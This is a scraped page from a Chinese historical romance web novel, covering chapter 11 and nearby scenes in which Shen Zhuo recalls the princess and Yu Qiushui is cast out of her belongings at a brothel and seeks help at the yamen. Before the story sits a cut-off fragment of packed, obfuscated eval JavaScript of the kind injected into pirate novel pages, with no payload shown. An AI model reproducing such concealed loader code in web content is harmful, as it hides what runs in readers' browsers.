;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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前世负责调查此案的是刑部侍郎赵琼,耗费两月才查到崔正这条线索,却未能动得了凉州刺史,耗费近半年时间才查清。 也是在凉州城这段时间无意间发现陛下丢失幼女的线索,赵琼回京汇报后陛下再派人去寻时,并未找到,不过多久,赵琼上奏,说是他寻到了公主殿下。 陛下大悦,赵琼寻回公主有功,加之先前查盐铁贪污一案,官升一级,成了刑部尚书。 不出一月,那位被寻回来的“公主”自己暴露,她并非殿下的血脉,只是为求荣华富贵,与赵琼勾结,冒名顶替。 赵琼带回来的消息不假,但他在回京将线索汇报给陛下时,已生了偷天换日的心思,将真正的公主囚禁,特地找了容貌相像的女子替代,且在滴血验亲时买通太监做了手脚,这才欺瞒过去。 陛下大怒,严刑拷打,赵琼供出囚禁公主之处,着令朝臣再寻,却并未找到。 数次调查才知,赵琼派去囚禁公主的几人动了歪心,为钱财将她卖到一家富商当侍妾。追着查过去时,却被告知她入府那晚杀死富商,畏罪潜逃,至今未寻到。 线索便这么断了。 陛下震怒,将罪女与赵琼斩首,命朝臣继续查。 时隔近三年,虞秋水才被寻回来。 崇武二十一年,八月十六,他于宫中初见虞秋水,彼时她笑盈盈唤他沈大人。 可后来谁也没有料到,她会那么对他。 11. 第 11 章 “那就是贞儿,在外头吃了很多苦,朕刚将她寻回来,只想好好补偿。” 沈琢抬头,顺着陛下示意的方向看去。 长廊内,一袭红裙的女子缓缓走来,她正与身侧的宫女说话,片刻后抬眸望过来,脸上带了笑。 午后的日光倾洒在长廊上,她的身影沐浴在日光中,周身似有朦胧金芒,轻易就将目光吸引。 “今后就由沈大人来教你,好好跟着他学。” 她朝陛下行了礼,待陛下离开,转身看向他,露出笑:“以后,就请沈大人关照了。” 沈琢抬手作揖:“臣定会倾囊相授。” 她凝视良久,忽地一笑,“是吗。” 第一日他教她书画,准备的纸张用尽,她都没画出能看的东西。 他并未面露不喜,她自责不已,“我这么笨,沈大人该是很嫌弃我吧。” 沈琢不知该怎么回答,想到她刚回宫,以前并未接触过书画,短短一日,学不会很正常,所以只说了一句:“殿下不用妄自菲薄,勤加练习定会有所成。” “可我若是永远都学不会呢?” “臣便一直教殿下。” 可后来,再也没有这样的机会。 他成了她发泄的工具,墨洒了他一身,用来教她绘画的墨笔点在他身上,画纸散落一地。 沈琢猛地闭上眼,从那些不堪的回忆中抽离开,呼吸稍微急促了些。 他似乎并未听见虞秋水说的那句想再见他一面,闭眸不动,更是一句话也不说。 虞秋水这才有胆子放肆瞧他。 这人是她这些年来,见过的气质最不平凡的,他只站在那,一句话不说,便给人一种飘飘独立,不可靠近的错觉。 但她又在他身上找到了一种气质,和他表面气质看起来很是矛盾,一个人身上,怎么会有这么矛盾的感觉。 虞秋水遇到他的那一两次,每次走向她时,总给她一种他是从炼狱而来,浑身背满罪孽的错觉。 他像是地府判官,将人世间罪孽驱逐,可他自己身上的罪孽,怎么都扫不清。 外头寒风灌进来,虞秋水缩了缩身子,瞅了眼男人身上衣裳,看起来很单薄。 他不冷吗? 虽然机会就在眼前,虞秋水还是没有勇气在他闭眸时叫他。先前的勇气都在面对他质问时用光了,不敢再说。 想了好几次借口,就差说出来,怎的都不敢说。 不由得打了一下自己手背,骂自己胆子真小。 马车在青玉楼前停下,陆云出声道:“虞姑娘,到了。” 虞秋水不想回去,想求的事未求成,这么回去,柳妈妈不会给她好果子吃。 可不回去,还能去哪? 悄悄抬头看了眼,男人垂眸闭目,并未看她,她只能下马车。 陆云过来搀扶她下马车,虞秋水小声说了谢谢,还没走到门口,就见着小厮往里头跑。 一眼便看出小厮是去喊柳妈妈了,她本来打算就这么进去,忽地一个念头闪过,先前没敢说的话转身就说了出来,却换了一句话说。 “多谢沈公子相助,明日我会登门道谢。” 陆云嘿呦一声,心道明日还能见到虞姑娘,正想问自家公子要不要回应一下,却听马车里响起敲击声,当即明白,上了马车,朝站在青玉楼门口瘦削的人摆了摆手,驱车离开。 虞秋水心跳得飞快,以为那人会直接说拒绝的话,心里一直在祈祷他不会拒绝,他果然没有拒绝。 只要现在不拆穿她,青玉楼的人就会以为她与他有关系,受他庇护,便不会有人动她。 至少还能在青玉楼待上几日,等到寻到栖身之处,就离开这。 “哟,我当是谁回来了呢,原来是你啊。” 熟悉的声音一响,不用转身,便知是谁。会用这样讥讽语气说话的人,除了华娘,没有别人。 深吸一口气,虞秋水转身面向她。 “你……”华娘欲要说出的话吞了回去,眼前的少女脸上无一丝血色,唇瓣干裂,看着很是虚弱。 “你倒是命大,这都没死。”她走到虞秋水面前,环视她一周,打量的目光从她瘦削的身子上收回,最终说了句,“柳妈妈不可能会再留你,你还是赶紧走吧。” 说完便扭着身子往里走。 “我还有东西在青玉楼。”虞秋水知道自己回来极有可能会被赶走,但她不想现在离开。而且柳妈妈那样对她,她不甘心就这么走了。 “随便你,你想留就留,别害了我就行。” 虞秋水缓缓往下人房那走,婢女见着她立刻避开,没有一个与她说话。 不说也好,她可不想在这些人身上浪费时间。 本想回去好好睡一觉,才退了烧,还未好透,脑袋晕沉沉的,没什么精力,方才在马车上险些睡着。 一进下人房,虞秋水身子僵直,站在门口看了许久,眼里逐渐涌上怒意。 原本属于她的床铺被杂物堆满,她的东西被扔在角落里,沾满灰尘。 身后传来脚步声,来到下人房门口时,立刻停下,婢女们望着她的背影,小声说:“这些可不是我们弄的啊,是柳妈妈说你以后不住青玉楼了,就喊人把你的东西扔了,我们是觉得那毕竟是你的东西,兴许还有用,就捡回来了。” “你要的话,自己收拾收拾,但我们可不敢留你住在这,你得去和柳妈妈说。” 她们从虞秋水身边擦身而过,收拾自己的东西。 虞秋水不觉得她们说的话是真的,但去质问她们也无用,整个青玉楼,没有人会帮她。 缓缓捏紧双手,她走过去,将被褥衣裳上的灰尘脏污一点点拍干净,一件一件捡起来。 忽地动作一顿,她看着被褥上被拆开的窟窿,眨了眨眼,眼里瞬间有了雾气。 她攥着被褥,死死瞪大眼,不想让眼泪掉出来。 边上的婢女指着她,偷摸笑。 虞秋水直接扔了被褥,转身就往外走。婢女等她身影消失,放肆笑出来。 “连崔老爷都不要她,她摆出这副清高样给谁看,还不是要求着回来,啧啧,真以为她攀上了显贵,就能飞黄腾达啊!” 婆子守在房门前,嗤笑一声,拦住虞秋水,“妈妈今日乏了,不见人,你走吧。” “我有事要问她。” 婆子蹙眉,不悦道:“你是没有听见我说的话吗?妈妈不见你。” 虞秋水站了会,忽然冲到房门前敲打,用自己最大的声音喊:“把我的东西还给我!那是我娘留给我的!你偷我的东西算什么好人!” 婆子赶忙扯开她,咒骂道:“入了青玉楼,不说你那点东西,连你的人都是青玉楼的,还想要回来,做梦。” 不论她怎么喊,房门从未开过,柳妈妈一句回应都没有。 虞秋水彻底寒了心,泪珠子蹦出来,越想越觉得委屈。 那是阿娘留给她唯一的念想了,藏了这么多年,就算是她人被卖了好几次,都藏得严严实实,就这么被柳妈妈偷了。 婆子一把把她扔到楼梯转角那,叫小厮把她拖下去。 虞秋水根本没有力气挣扎,方才的动作已经让她头晕眼花,险些都站不稳 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她不是傻子,这几日遭遇的一切,仔细回想后便能发现异常。崔老爷权势那么大,谁敢抄他的家?那人绝对是比刺史还要厉害的官! 就算她求他私事,他不答应,但报官把自己被偷走的东西拿回来,他多多少少应该会有所表示吧? 想到这,虞秋水越来越有精神,双眼倒映出熊熊火光,看得李四一阵失神。 这样充满生命力的眼神,他以后是不可能再有了。 他李四没有再说,默默地帮她准备了吃食。 虞秋水恢复一些后,当即出了青玉楼。 府衙与青玉楼隔着两条街,身子虽是恢复了些,但依旧走得很吃力。这若是没有病着,她便会跑着去。 离府衙还有一条街时,看见前头有人拿着画像寻人,那人穿着一身黑衣,面容黝黑,在雪地里一站,分外显眼。 虞秋水低了头避开,不愿被打搅,却被那人追到面前来问。 那人展开一张画,画里女子迎梅而立,抬手抚鬓,眉似秋水,气质温婉。 “这位姑娘,可瞧见过画里的女子?” 虞秋水匆匆看了眼,很是陌生,摇头说未曾见过,错开那人要就走。 那人又盯着画里女子看了好一会,嘟囔一声,找下一个人问。 “真难找,来凉州城这么久,连个头发丝都没见着。” 这道声音淹没在街道上来往人群的吆喝声中,谁也未听清。 虞秋水觉得自己快要撑不住了,也不知是不是今日未休息得好,脑袋一抽一抽得疼,后背发凉,走一步晃一步。 好不容易撑着到府衙,说清来由后就被侍卫赶出来,说是府衙里没有她要找的沈公子。 “一件小事罢了,用得着找到这来吗?自己去要回来不就行了。” 虞秋水人还没走远,听到这话,整个人身子发抖。 她若是能要得回来,又怎会将希望寄托于这形同摆设的府衙! 心知自己奈何不了他们,只得装作没听见,回青玉楼巴东西抢回来。 侍卫看着她走远,哼笑一声,转身进去,“以为自己是谁呢,什么事都能来府衙,那岂不是成了菜市场?” 身子猛地一抖,后退数步,方才的得意立刻变成惊慌。 “沈、沈大人……” 森冷的眸子凝视他,沈琢从府衙里头走出来,在他面前站定。 “你觉得,什么样的事,能拿来说呢?”